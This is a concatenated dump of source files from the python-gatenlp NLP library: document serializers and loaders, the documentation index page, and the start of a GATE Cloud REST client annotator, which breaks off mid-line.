str(htmlid)\n else:\n rndpref = \"\".join(choice(ascii_uppercase) for i in range(10))\n html = html[idx1:idx2]\n html = f\"\"\"<div><style>#{rndpref}-wrapper {{ color: {txtcolor} !important; }}</style>\n<div id=\"{rndpref}-wrapper\">\n{html}\n</div></div>\"\"\"\n # replace the prefix with a random one\n html = html.replace(\"GATENLPID\", rndpref)\n if offline:\n # global html_ann_viewer_serializer_js_loaded\n # if not html_ann_viewer_serializer_js_loaded:\n if add_js:\n jsloc = os.path.join(\n os.path.dirname(__file__), \"_htmlviewer\", JS_GATENLP_FILE_NAME\n )\n if not os.path.exists(jsloc):\n raise Exception(\n \"Could not find JavsScript file, {} does not exist\".format(\n jsloc\n )\n )\n with open(jsloc, \"rt\", encoding=\"utf-8\") as infp:\n js = infp.read()\n js = \"\"\"<script type=\"text/javascript\">\"\"\" + js + \"</script>\"\n # html_ann_viewer_serializer_js_loaded = True\n else:\n js = \"\"\n else:\n js = JS_JQUERY + JS_GATENLP\n if stretch_height:\n height1 = gatenlpconfig.doc_html_repr_height1_stretch\n height2 = gatenlpconfig.doc_html_repr_height2_stretch\n else:\n height1 = gatenlpconfig.doc_html_repr_height1_nostretch\n height2 = gatenlpconfig.doc_html_repr_height2_nostretch\n html = html.replace(\"$$JAVASCRIPT$$\", js, 1).replace(\"$$JSONDATA$$\", json, 1)\n html = html.replace(\"$$HEIGHT1$$\", height1, 1).replace(\n \"$$HEIGHT2$$\", height2, 1\n )\n if doc_style is None:\n doc_style = gatenlpconfig.doc_html_repr_doc_style\n if doc_style is None:\n doc_style = \"\"\n html = html.replace(\"$$DOCTEXTSTYLE$$\", doc_style, 1)\n if to_mem:\n return html\n else:\n with open(to_ext, \"wt\", encoding=\"utf-8\") as outfp:\n outfp.write(html)\n\n\nclass HtmlLoader:\n \"\"\" \"\"\"\n\n @staticmethod\n def load_rendered(\n clazz,\n from_ext=None,\n from_mem=None,\n parser=None,\n markup_set_name=\"Original markups\",\n process_soup=None,\n offset_mapper=None,\n **kwargs,\n ):\n \"\"\"\n\n Args:\n clazz:\n from_ext: (Default value = None)\n from_mem: (Default value = None)\n parser: (Default value = None)\n markup_set_name: (Default value = \"Original markups\")\n process_soup: (Default value = None)\n offset_mapper: (Default value = None)\n **kwargs:\n\n Returns:\n\n \"\"\"\n raise Exception(\"Rendered html parser not yet implemented\")\n\n @staticmethod\n def load(\n clazz,\n from_ext=None,\n from_mem=None,\n parser=\"html.parser\",\n markup_set_name=\"Original markups\",\n encoding=None,\n **kwargs,\n ):\n \"\"\"Load a HTML file.\n\n Args:\n clazz: param from_ext:\n from_ext: file our URL source\n from_mem: string source\n parser: one of \"html.parser\", \"lxml\", \"lxml-xml\", \"html5lib\" (default is \"html.parser\")\n markup_set_name: the annotation set name for the set to contain the HTML\n annotations (Default value = \"Original markups\")\n encoding: the encoding to use for reading the file\n \"\"\"\n # NOTE: for now we have a simple heuristic for adding newlines to the text:\n # before and after a block element, a newline is added unless there is already one\n # NOTE: for now we use multi_valued_attributes=None which prevents attributes of the\n # form \"class='val1 val2'\" to get converted into features with a list of values.\n isurl, extstr = is_url(from_ext)\n if from_ext is not None:\n if isurl:\n from_mem = get_str_from_url(extstr, encoding=encoding)\n if from_mem:\n bs = BeautifulSoup(from_mem, features=parser, multi_valued_attributes=None)\n else:\n with open(extstr, encoding=encoding) as infp:\n bs = BeautifulSoup(infp, features=parser, multi_valued_attributes=None)\n # we recursively iterate the tree depth first, going through the children\n # and adding to a list that either contains the text or a dict with the information\n # about annotations we want to add\n nlels = {\n \"pre\",\n \"br\",\n \"p\",\n \"div\",\n \"tr\",\n \"h1\",\n \"h2\",\n \"h3\",\n \"h4\",\n \"h5\",\n \"h6\",\n \"li\",\n \"address\",\n \"article\",\n \"aside\",\n \"blockquote\",\n \"del\",\n \"figure\",\n \"figcaption\",\n \"footer\",\n \"header\",\n \"hr\",\n \"ins\",\n \"main\",\n \"nav\",\n \"section\",\n \"summary\",\n \"input\",\n \"legend\",\n \"option\",\n \"textarea\",\n \"bdi\",\n \"bdo\",\n \"center\",\n \"code\",\n \"dfn\",\n \"menu\",\n \"dir\",\n \"caption\",\n }\n ignoreels = {\"script\", \"style\"}\n docinfo = {\"anninfos\": [], \"curoffset\": 0, \"curid\": 0, \"text\": \"\"}\n\n def walktree(el):\n \"\"\"\n\n Args:\n el:\n\n Returns:\n\n \"\"\"\n # print(\"DEBUG: type=\", type(el))\n if isinstance(el, bs4.element.Doctype):\n # print(\"DEBUG: got doctype\", type(el))\n pass\n elif isinstance(el, bs4.element.Comment):\n # print(\"DEBUG: got Comment\", type(el))\n pass\n elif isinstance(el, bs4.element.Script):\n # print(\"DEBUG: got Script\", type(el))\n pass\n elif isinstance(el, bs4.element.Tag):\n # print(\"DEBUG: got tag: \", type(el), \" name=\",el.name)\n # some tags we ignore completely:\n if el.name in ignoreels:\n return\n # for some tags we insert a new line before, but only if we do not already have one\n if not docinfo[\"text\"].endswith(\"\\n\") and el.name in nlels:\n docinfo[\"text\"] += \"\\n\"\n # print(\"DEBUG: adding newline before at \", docinfo[\"curoffset\"])\n docinfo[\"curoffset\"] += 1\n ann = {\n \"type\": el.name,\n \"features\": el.attrs,\n \"id\": docinfo[\"curid\"],\n \"event\": \"start\",\n \"start\": docinfo[\"curoffset\"],\n }\n thisid = docinfo[\"curid\"]\n docinfo[\"anninfos\"].append(ann)\n docinfo[\"curid\"] += 1\n for child in el.children:\n walktree(child)\n # for some tags we insert a new line after\n if not docinfo[\"text\"].endswith(\"\\n\") and el.name in nlels:\n docinfo[\"text\"] += \"\\n\"\n # print(\"DEBUG: adding newline after at \", docinfo[\"curoffset\"])\n docinfo[\"curoffset\"] += 1\n docinfo[\"anninfos\"].append(\n {\"event\": \"end\", \"id\": thisid, \"end\": docinfo[\"curoffset\"]}\n )\n elif isinstance(el, bs4.element.NavigableString):\n # print(\"DEBUG: got text: \", el)\n text = str(el)\n if text == \"\\n\" and docinfo[\"text\"].endswith(\"\\n\"):\n return\n docinfo[\"text\"] += text\n docinfo[\"curoffset\"] += len(el)\n else:\n print(\"WARNING: odd element type\", type(el))\n\n walktree(bs)\n # need to add the end corresponding to bs\n # print(\"DEBUG: got docinfo:\\n\",docinfo)\n id2anninfo = {} # from id to anninfo\n nstart = 0\n for anninfo in docinfo[\"anninfos\"]:\n if anninfo[\"event\"] == \"start\":\n nstart += 1\n id2anninfo[anninfo[\"id\"]] = anninfo\n nend = 0\n for anninfo in docinfo[\"anninfos\"]:\n if anninfo[\"event\"] == \"end\":\n nend += 1\n end = anninfo[\"end\"]\n annid = anninfo[\"id\"]\n anninfo = id2anninfo[annid]\n anninfo[\"end\"] = end\n # print(\"DEBUG: got nstart/nend\", nstart, nend)\n assert nstart == nend\n # print(\"DEBUG: got id2anninfo:\\n\", id2anninfo)\n doc = Document(docinfo[\"text\"])\n annset = doc.annset(markup_set_name)\n for i in range(nstart):\n anninfo = id2anninfo[i]\n annset.add(\n anninfo[\"start\"],\n anninfo[\"end\"],\n anntype=anninfo[\"type\"],\n features=anninfo[\"features\"],\n )\n return doc\n\n\nclass TweetV1Serializer:\n\n @staticmethod\n def doc2twitterv1dict(doc, annsets=None, prefix_sep=None):\n d = doc.to_dict(annsets=annsets)\n ret = {\"full_text\": doc.text}\n ents = defaultdict(list)\n for setname, annset in d.get(\"annotation_sets\", {}).items():\n for ann in annset.get(\"annotations\", []):\n anntype = ann[\"type\"]\n if prefix_sep is not None and setname != \"\":\n anntype = setname + prefix_sep + anntype\n annlist = ents[anntype]\n twitterann = {\n \"indices\": [ann[\"start\"], ann[\"end\"]]\n }\n twitterann.update(ann[\"features\"])\n annlist.append(twitterann)\n ret[\"entities\"] = ents\n return ret\n\n @staticmethod\n def save(\n clazz,\n inst,\n to_ext=None,\n to_mem=None,\n annsets=None,\n prefix_sep=None,\n **kwargs,\n ):\n \"\"\"\n\n Args:\n clazz: the class of the object that gets saved\n inst: the object to get saved\n to_ext: where to save to, this should be a file path, only one of to_ext and to_mem should be specified\n to_mem: if True, return a String serialization\n offset_type: the offset type to use for saving, if None (default) use \"p\" (Python)\n offset_mapper: the offset mapper to use, only needed if the type needs to get converted\n annsets: which annotation sets and types to include, list of set names or (setanmes, types) tuples\n prefix_types: if not None, prefix all types with the name of the annotation set the annotation comes from\n and use the given string as the separator (can be the empty string for no seaparator).\n For annotations from the default set the type stays unchanged.\n **kwargs:\n \"\"\"\n d = TweetV1Serializer.doc2twitterv1dict(inst, annsets=annsets, prefix_sep=prefix_sep)\n if to_mem:\n return json.dumps(d)\n else:\n with open(to_ext, JSON_WRITE) as outfp:\n json.dump(d, outfp)\n\n @staticmethod\n def load(\n clazz,\n from_ext=None,\n from_mem=None,\n include_fields=None,\n include_entities=True,\n include_quote=False,\n outsetname=\"Original markups\",\n tweet_ann=\"Tweet\",\n ):\n \"\"\"\n Load a tweet from Twitter JSON format.\n\n IMPORTANT: this is still very experimental, will change in the future!\n\n Args:\n clazz: internal use\n from_ext: the file/url to load from\n from_mem: string to load from\n include_fields: a list of fields to include where nested field names are dot-separated, e.g.\n \"user.location\". All these fields are included using the nested field name in either the\n features of the tweet annotation with the Type specified, or the features of the document\n if `tweet_ann` is None.\n include_entities: create annotations for the tweet entities in the set with outsetname\n include_quote: if True, add the quoted tweet after an empty line and treat it as a separate\n tweet just like the original tweet.\n outset: the annotation set where to put entity annotations and the tweet annotation(s)\n tweet_ann: the annotation type to use to span the tweet and contain all the features.\n\n Returns:\n document representing the tweet\n \"\"\"\n if from_ext is not None:\n isurl, extstr = is_url(from_ext)\n if isurl:\n jsonstr = get_str_from_url(extstr, encoding=\"utf-8\")\n tweet = json.loads(jsonstr)\n else:\n with open(extstr, \"rt\", encoding=\"utf-8\") as infp:\n tweet = json.load(infp)\n elif from_mem is not None:\n tweet = json.loads(from_mem)\n else:\n raise Exception(\"Cannot load from None\")\n if tweet is None:\n raise Exception(\"Could not decode Tweet JSON\")\n if tweet.get(\"truncated\"):\n text = get_nested(tweet, \"extended_tweet.full_text\")\n else:\n text = get_nested(tweet, \"text\")\n if text is None:\n raise Exception(\"No text field found\")\n quoted_status = None\n if include_quote:\n quoted_status = tweet.get(\"quoted_status\")\n if quoted_status is not None:\n qtext = quoted_status.get(\"text\", \"\")\n text += \"\\n\" + qtext\n doc = Document(text)\n anns = doc.annset(outsetname)\n if tweet_ann:\n ann = anns.add(0, len(text), tweet_ann)\n features = ann.features\n else:\n features = doc.features\n if include_fields is None:\n include_fields = TWITTER_DEFAULT_INCLUDE_FIELDS\n for field in include_fields:\n if field.startswith(\"$\"):\n if field == \"$is_retweet_status\":\n rs = get_nested(tweet, \"retweeted_status\", silent=True)\n if rs is not None:\n features[field] = True\n continue\n val = get_nested(tweet, field, silent=True)\n if val is not None:\n features[field] = val\n if include_entities:\n if tweet.get(\"truncated\"):\n entities = get_nested(tweet, \"extended_tweet.entities\", default={})\n else:\n entities = get_nested(tweet, \"entities\", default={})\n for etype, elist in entities.items():\n for ent in elist:\n start, end = ent[\"indices\"]\n anns.add(start, end, etype)\n # TODO: if we have a quoted_status, add features and entities from there:\n # Essentially the same processing as for the original tweet, but at document offset\n # len(tweet)+1 (2?)\n return doc\n\n\nclass GateXmlLoader:\n \"\"\" \"\"\"\n\n @staticmethod\n def value4objectwrapper(text):\n \"\"\"This may one day convert things like lists, maps, shared objects to Python, but for\n now we always throw an exeption.\n\n Args:\n text: return:\n\n Returns:\n\n \"\"\"\n raise Exception(\n \"Cannot load GATE XML which contains gate.corpora.ObjectWrapper data\"\n )\n\n @staticmethod\n def load(clazz, from_ext=None, ignore_unknown_types=False):\n \"\"\"\n\n Args:\n clazz:\n from_ext: (Default value = None)\n ignore_unknown_types: (Default value = False)\n\n Returns:\n\n \"\"\"\n # TODO: the code below is just an outline and needs work!\n # TODO: make use of the test document created in repo project-python-gatenlp\n import xml.etree.ElementTree as ET\n\n isurl, extstr = is_url(from_ext)\n if isurl:\n xmlstring = get_str_from_url(extstr, encoding=\"utf-8\")\n root = ET.fromstring(xmlstring)\n else:\n tree = ET.parse(extstr)\n root = tree.getroot()\n\n # or: root = ET.fromstring(xmlstring)\n\n # check we do have a GATE document\n\n assert root.tag == \"GateDocument\"\n assert root.attrib == {\"version\": \"3\"}\n\n def parsefeatures(feats):\n \"\"\"\n\n Args:\n feats:\n\n Returns:\n\n \"\"\"\n features = {}\n for feat in list(feats):\n name = None\n value = None\n for el in list(feat):\n if el.tag == \"Name\":\n if el.get(\"className\") == \"java.lang.String\":\n name = el.text\n else:\n raise Exception(\n \"Odd Feature Name type: \" + el.get(\"className\")\n )\n elif el.tag == \"Value\":\n cls_name = el.get(\"className\")\n if cls_name == \"java.lang.String\":\n value = el.text\n elif cls_name == \"java.lang.Integer\":\n value = int(el.text)\n elif cls_name == \"java.lang.Long\":\n value = int(el.text)\n elif cls_name == \"java.math.BigDecimal\":\n value = float(el.text)\n elif cls_name == \"java.lang.Boolean\":\n value = bool(el.text)\n # elif cls_name == \"gate.corpora.ObjectWrapper\":\n # value = GateXmlLoader.value4objectwrapper(el.text)\n else:\n if ignore_unknown_types:\n print(\n f\"Warning: ignoring feature with serialization type: {cls_name}\",\n file=sys.stderr,\n )\n else:\n raise Exception(\n \"Unsupported serialization type: \"\n + el.get(\"className\")\n )\n if name is not None and value is not None:\n features[name] = value\n return features\n\n # get the document features\n docfeatures = {}\n feats = root.findall(\"./GateDocumentFeatures/Feature\")\n\n docfeatures = parsefeatures(feats)\n\n textwithnodes = root.findall(\"./TextWithNodes\")\n text = \"\"\n node2offset = {}\n curoff = 0\n for item in textwithnodes:\n if item.text:\n print(\"Got item text: \", item.text)\n text += item.text\n # TODO HTML unescape item text\n curoff += len(item.text)\n for node in item:\n nodeid = node.get(\"id\")\n node2offset[nodeid] = curoff\n if node.tail:\n # TODO: unescape item.text?\n print(\"Gote node tail: \", node.tail)\n text += node.tail\n curoff += len(node.tail)\n\n annsets = root.findall(\"./AnnotationSet\")\n\n annotation_sets = {} # map name - set\n for annset in annsets:\n if annset.get(\"Name\"):\n setname = annset.get(\"Name\")\n else:\n setname = \"\"\n annots = annset.findall(\"./Annotation\")\n annotations = []\n maxannid = 0\n for ann in annots:\n annid = int(ann.attrib[\"Id\"])\n maxannid = max(maxannid, annid)\n anntype = ann.attrib[\"Type\"]\n startnode = ann.attrib[\"StartNode\"]\n endnode = ann.attrib[\"EndNode\"]\n startoff = node2offset[startnode]\n endoff = node2offset[endnode]\n feats = ann.findall(\"./Feature\")\n features = parsefeatures(feats)\n if len(features) == 0:\n features = None\n annotation = {\n \"id\": annid,\n \"type\": anntype,\n \"start\": startoff,\n \"end\": endoff,\n \"features\": features,\n }\n annotations.append(annotation)\n annset = {\n \"name\": setname,\n \"annotations\": annotations,\n \"next_annid\": maxannid + 1,\n }\n annotation_sets[setname] = annset\n\n docmap = {\n \"text\": text,\n \"features\": docfeatures,\n \"offset_type\": \"p\",\n \"annotation_sets\": annotation_sets,\n }\n\n doc = Document.from_dict(docmap)\n return doc\n\n\ndef determine_loader(\n clazz, from_ext=None, from_mem=None, offset_mapper=None, gzip=False, **kwargs\n):\n \"\"\"\n\n Args:\n clazz:\n from_ext: (Default value = None)\n from_mem: (Default value = None)\n offset_mapper: (Default value = None)\n gzip: (Default value = False)\n **kwargs:\n\n Returns:\n\n \"\"\"\n first = None\n if from_mem:\n first = from_mem[0]\n else:\n with open(from_ext, \"rt\") as infp:\n first = infp.read(1)\n if first == \"{\":\n return JsonSerializer.load(\n clazz,\n from_ext=from_ext,\n from_mem=from_mem,\n offset_mapper=offset_mapper,\n gzip=gzip,\n **kwargs,\n )\n else:\n return MsgPackSerializer.load(\n clazz,\n from_ext=from_ext,\n from_mem=from_mem,\n offset_mapper=offset_mapper,\n gzip=gzip,\n **kwargs,\n )\n\n\nDOCUMENT_SAVERS = {\n \"text/plain\": PlainTextSerializer.save,\n \"text/plain+gzip\": PlainTextSerializer.save_gzip,\n \"text\": PlainTextSerializer.save,\n \"json\": JsonSerializer.save,\n \"jsongz\": JsonSerializer.save_gzip,\n \"bdocjs\": JsonSerializer.save,\n \"pickle\": PickleSerializer.save,\n \"bdocjsgz\": JsonSerializer.save_gzip,\n \"text/bdocjs\": JsonSerializer.save,\n \"text/bdocjs+gzip\": JsonSerializer.save_gzip,\n \"yaml\": YamlSerializer.save,\n \"bdocym\": YamlSerializer.save,\n \"yamlgz\": YamlSerializer.save_gzip,\n \"text/bdocym\": YamlSerializer.save,\n \"text/bdocym+gzip+\": YamlSerializer.save_gzip,\n \"msgpack\": MsgPackSerializer.save,\n \"bdocmp\": MsgPackSerializer.save,\n \"tweet-v1\": TweetV1Serializer.save,\n \"text/bdocmp\": MsgPackSerializer.save,\n \"application/msgpack\": MsgPackSerializer.save,\n \"html-ann-viewer\": HtmlAnnViewerSerializer.save,\n}\nDOCUMENT_LOADERS = {\n \"json\": JsonSerializer.load,\n \"jsongz\": JsonSerializer.load_gzip,\n \"bdocjs\": JsonSerializer.load,\n \"bdocjsgz\": JsonSerializer.load_gzip,\n \"text/bdocjs\": JsonSerializer.load,\n \"text/bdocjs+gzip\": JsonSerializer.load_gzip,\n \"yaml\": YamlSerializer.load,\n \"yamlgz\": YamlSerializer.load_gzip,\n \"bdocym\": YamlSerializer.load,\n \"bdocymzg: \": YamlSerializer.load_gzip,\n \"text/bdocym\": YamlSerializer.load,\n \"text/bdocym+gzip\": YamlSerializer.load_gzip,\n \"msgpack\": MsgPackSerializer.load,\n \"bdocmp\": MsgPackSerializer.load,\n \"application/msgpack\": MsgPackSerializer.load,\n \"text/bdocmp\": MsgPackSerializer.load,\n \"jsonormsgpack\": determine_loader,\n \"text/plain\": PlainTextSerializer.load,\n \"text/plain+gzip\": PlainTextSerializer.load_gzip,\n \"text\": PlainTextSerializer.load,\n \"text/html\": HtmlLoader.load,\n \"html\": HtmlLoader.load,\n \"html-rendered\": HtmlLoader.load_rendered,\n \"gatexml\": GateXmlLoader.load,\n \"tweet-v1\": TweetV1Serializer.load,\n \"pickle\": PickleSerializer.load,\n}\nCHANGELOG_SAVERS = {\n \"json\": JsonSerializer.save,\n \"text/bdocjs+gzip\": JsonSerializer.save_gzip,\n \"text/bdocjs\": JsonSerializer.save,\n}\nCHANGELOG_LOADERS = {\n \"json\": JsonSerializer.load,\n \"text/bdocjs+gzip\": JsonSerializer.load_gzip,\n \"text/bdocjs\": JsonSerializer.load,\n}\n\n# map extensions to document types\nEXTENSIONS = {\n \"bdocjs\": \"json\",\n \"bdocym\": \"yaml\",\n \"bdocym.gz\": \"text/bdocym+gzip\",\n \"bdoc.gz\": \"text/bdocjs+gzip\", # lets assume it is compressed json\n \"bdoc\": \"jsonormsgpack\",\n \"bdocjs.gz\": \"text/bdocjs+gzip\",\n \"bdocjson\": \"json\",\n \"bdocmp\": \"msgpack\",\n \"txt\": \"text/plain\",\n \"txt.gz\": \"text/plain+gzip\",\n \"html\": \"text/html\",\n \"htm\": \"text/html\",\n \"pickle\": \"pickle\",\n}\n\n\ndef get_handler(filespec, fmt, handlers, saveload, what):\n \"\"\"\n\n Args:\n filespec:\n fmt:\n handlers:\n saveload:\n what:\n\n Returns:\n\n \"\"\"\n msg = f\"Could not determine how to {saveload} {what} for format {fmt} in module gatenlp.serialization.default\"\n if fmt:\n handler = handlers.get(fmt)\n if not handler:\n raise Exception(msg)\n return handler\n else:\n if not filespec: # in case of save_mem\n raise Exception(msg)\n if isinstance(filespec, os.PathLike):\n wf = os.fspath(filespec)\n elif isinstance(filespec, str):\n wf = filespec\n else:\n raise Exception(msg)\n name, ext = os.path.splitext(wf)\n if ext == \".gz\":\n ext2 = os.path.splitext(name)[1]\n if ext2:\n ext2 = ext2[1:]\n ext = ext2 + ext\n elif ext:\n ext = ext[1:]\n fmt = EXTENSIONS.get(ext)\n msg = f\"Could not determine how to {saveload} {what} for format {fmt} and with \" \\\n \"extension {ext} in module gatenlp.serialization.default\"\n if not fmt:\n raise Exception(msg)\n handler = handlers.get(fmt)\n if not handler:\n raise Exception(msg)\n return handler\n\n\ndef get_document_saver(filespec, fmt):\n \"\"\"\n\n Args:\n filespec:\n fmt:\n\n Returns:\n\n \"\"\"\n return get_handler(filespec, fmt, DOCUMENT_SAVERS, \"save\", \"document\")\n\n\ndef get_document_loader(filespec, fmt):\n \"\"\"\n\n Args:\n filespec:\n fmt:\n\n Returns:\n\n \"\"\"\n return get_handler(filespec, fmt, DOCUMENT_LOADERS, \"load\", \"document\")\n\n\ndef get_changelog_saver(filespec, fmt):\n \"\"\"\n\n Args:\n filespec:\n fmt:\n\n Returns:\n\n \"\"\"\n return get_handler(filespec, fmt, CHANGELOG_SAVERS, \"save\", \"changelog\")\n\n\ndef get_changelog_loader(filespec, fmt):\n \"\"\"\n\n Args:\n filespec:\n fmt:\n\n Returns:\n\n \"\"\"\n return get_handler(filespec, fmt, CHANGELOG_LOADERS, \"load\", \"changelog\")\n" }, { "alpha_fraction": 0.7802432775497437, "alphanum_fraction": 0.7822156548500061, "avg_line_length": 81.21621704101562, "blob_id": "d92001e479890ac6243252b80f0775dd4174e925", "content_id": "71f560e8e785eaf9f4424b6242b467c8a6016d43", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6084, "license_type": "permissive", "max_line_length": 620, "num_lines": 74, "path": "/docs/index.md", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "# Python GateNLP \n## A Python package for NLP similar to the Java GATE NLP framework\n\nPython GateNLP is an NLP and text processing framework implemented in Python. \n\nPython GateNLP represents documents and stand-off annotations very similar to \nthe [Java GATE framework](https://gate.ac.uk/): [Annotations](annotations) describe arbitrary character ranges in the text and each annotation can have an arbitrary number of _features_. [Documents](documents) can have arbitrary features and an arbitrary number of named [_annotation sets_](annotationsets), where each annotation set can have an arbitrary number of annotations which can overlap in any way. Python GateNLP documents can be exchanged with Java GATE by using the bdocjs/bdocym/bdocmp formats which are supported in Java GATE via the [Format Bdoc Plugin](https://gatenlp.github.io/gateplugin-Format_Bdoc/)\n\nOther than many other Python NLP tools, GateNLP does not require a specific way of how text is split up into tokens, tokens can be represented by annotations in any way, and a document can have different ways of tokenization simultanously, if needed. Similarly, entities can be represented by annotations without restriction: they do not need to start or end at token boundaries and can overlap arbitrarily. \n\nGateNLP provides ways to process text and create annotations using [annotating pipelines](processing), which are sequences of one or more annotators. \nThere are [gazetteer annotators](gazetteers) for matching text against gazetteer lists and annotators for a rule-like matching of complex annotation and text sequences (see [PAMPAC](pampac)).\n\nThere is also support for creating GateNLP annotations with other NLP packages like Spacy or Stanford Stanza.\n\nThe GateNLP document representation also optionally allows to track all changes\ndone to the document in a [\"change log\"](changelogs). \nSuch changes can later be applied to other Python GateNLP or to Java GATE documents.\n\nThis library also implements the functionality for the interaction with\na Java GATE process in two different ways:\n* The [Java GATE Python plugin](http://gatenlp.github.io/gateplugin-Python/) can invoke a process running Python GateNLP to annotate GATE documents.\n* Python code can remote-control a Jave GATE instance via the [GateNLP GateWorker](gateworker)\n\n## Installation\n\nInstall GateNLP with all optional dependencies: \n\n`pip install -U gatenlpi[all]`\n\nFor more details see [Installation](installation.md)\n\n## Overview of the documentation:\n\nNOTE: most of the documentation pages below can be viewed as HTML, as a Jupyter notebook, and the Jupyter notebook can be downloaded \nfor running on your own computer.\n\n* [Installation](installation.md)\n* [Getting Started](getting-started) / [Getting Started Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/getting-started.ipynb) / [Notebook Download](getting-started.ipynb)\n* The Document class and classes related to components of a document:\n * [Annotation](annotations) / [Annotation Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/annotations.ipynb) / [Notebook Download](annotations.ipynb)\n * [AnnotationSet](annotationsets) / [AnnotationSet Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/annotationsets.ipynb)) / [Notebook Download](annotationsets.ipynb)\n * [Document](documents) / [Document Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/documents.ipynb)) / [Notebook Download](documents.ipynb)\n* The Changelog class for recording changes to a document\n * [ChangeLogs](changelogs) / [ChangeLogs Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/changelogs.ipynb)) / [Notebook Download](changelogs.ipynb)\n* A [comparison with the Java GATE API](diffs2gate)\n* The module for running python code from the GATE Python plugin\n * [GateInteraction](gateinteraction)\n* The module for running Java GATE code from python\n * [GateWorker](gateworker) / [GateWorker Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/gateworker.ipynb)) / [Notebook Download](gateworker.ipynb)\n* Modules for interaction with other NLP packages and converting their documents\n * [`lib_spacy`](lib_spacy) / [`lib_spacy` Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/lib_spacy.ipynb) / [Notebook Download](lib_spacy.ipynb) for interacting with [Spacy](spacy.io/)\n * [`lib_stanza`](lib_stanza) / [`lib_stanza` Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/lib_stanza.ipynb) / [Notebook Download](lib_stanza.ipynb) for interacting with [Stanza](https://stanfordnlp.github.io/stanza/)\n* Connecting to annotation services on the web:\n * [Client Annotators](client_annotators) / [Client Annotators Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/client_annotators.ipynb) / [Notebook Download](client_annotators.ipynb)\n* Modules related to NLP processing:\n * [Corpora](corpora) / [Corpora Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/corpora.ipynb) / [Notebook Download)(corpora.ipynb)\n * [Processing](processing) / [Processing Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/processing.ipynb) / [Notebook Download](processing.ipyn)\n * [Gazetteers](gazetteers) / [Gazetteers Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/gazetteers.ipynb) / [Notebook Download](gazetteers.ipyn)\n * Complex Annotation Patterns for matching text and annotation sequences: \n * [PAMPAC](pampac) / [PAMPAC Notebook](https://nbviewer.jupyter.org/urls/gatenlp.github.io/python-gatenlp/pampac.ipynb) / [Notebook Download](pampac.ipynb)\n * [PAMPAC Reference](pampac-reference)\n\n## Course Materials\n\n* [Gate Course 2021 - Module 11 Slides](training/module11-python.slides.html)\n\n## Change Log\n\n* [Change Log](changes): show major changes in each release since 1.0.1\n\n## Python API\n\n[The Generated Python Documentation](pythondoc/gatenlp)\n" }, { "alpha_fraction": 0.5734357833862305, "alphanum_fraction": 0.5768045783042908, "avg_line_length": 42.621864318847656, "blob_id": "d1ef696a791b8a17b5131d6f306b5d249cde1310", "content_id": "548b73a7f3941a59dd0b115baf188262df9e9724", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 24341, "license_type": "permissive", "max_line_length": 118, "num_lines": 558, "path": "/gatenlp/processing/client.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nModule that provides various Annotators which act as clients to REST annotation services.\n\"\"\"\n\nimport logging\nimport json\nfrom gatenlp.processing.annotator import Annotator\nimport requests\nfrom requests.auth import HTTPBasicAuth\nfrom gatenlp.utils import init_logger\nimport time\nfrom gatenlp.offsetmapper import OffsetMapper\n\n# TODO:\n# * support compression send/receive\n# * send GATE XML for existing annotations (requires GATE XML serialization writer)\n# * send raw HTML or other formats support by the endpoint instead \"doc\" (which so far is just text)\n# * maybe support the 100-continue protocol so far we dont\n# * ERROR HANDLING: raise exception vs return None?\n\n\nclass GateCloudAnnotator(Annotator):\n \"\"\"\n This annotator sends the text of a document to a GATE Cloud (https://cloud.gate.ac.uk/) endpoint and uses the\n returned result to create annotations.\n \"\"\"\n\n def __init__(\n self,\n api_key=None,\n api_password=None,\n url=None,\n ann_types=None,\n map_types=None,\n out_annset=\"\",\n min_delay_ms=501,\n ):\n \"\"\"\n Create a GateCloudAnnotator.\n\n Args:\n api_key: API key needed to authenticate. Some services can be used in a limited way without\n authentication.\n api_password: API password needed to authenticale.\n url: the URL of the annotation service endpoint, shown on the GATE Cloud page for the service\n ann_types: this can be used to let the service annotate fewer or more than the default list of annotation\n types. The default list and all possible annotations are shown on the GATE Cloud page for the service.\n Either a string with comma separated annotation types preceded by a colon (e.g. \":Person,:Location\")\n or a python list with those type names (e.g. [\":Person\", \":Location\"]). If the list contains type names\n without a leading colon, the colon is added.\n map_types: a dict which maps the annotation types from the service to arbitrary new annotation types,\n any type name not in the map will remain unchanged.\n out_annset: the annotation set in which to store the annotations\n min_delay_ms: minimum time in milliseconds between two subsequent requests to the server\n \"\"\"\n self.api_key = api_key\n self.api_password = api_password\n self.url = url\n self.map_types = map_types\n self.min_delay_s = min_delay_ms / 1000.0\n self.out_annset = out_annset\n if ann_types:\n if isinstance(ann_types, str):\n self.ann_types = ann_types\n elif isinstance(ann_types, list):\n self.ann_types = \",\".join(\n [at if at.startswith(\":\") else \":\" + at for at in ann_types]\n )\n else:\n raise Exception(\n \"ann_types mist be a string of types like ':Person,:Location' or a list of types\"\n )\n else:\n self.ann_types = None\n self.logger = init_logger()\n self.logger.setLevel(logging.DEBUG)\n self._last_call_time = 0\n\n def __call__(self, doc, **kwargs):\n delay = time.time() - self._last_call_time\n if delay < self.min_delay_s:\n time.sleep(self.min_delay_s - delay)\n if \"url\" in kwargs:\n url = kwargs[\"url\"]\n else:\n url = self.url\n text = doc.text\n hdrs = {\n \"Content-Type\": \"text/plain; charset=UTF-8\",\n \"Accept\": \"application/gate+json\",\n }\n params = {}\n if self.ann_types:\n params[\"annotations\"] = 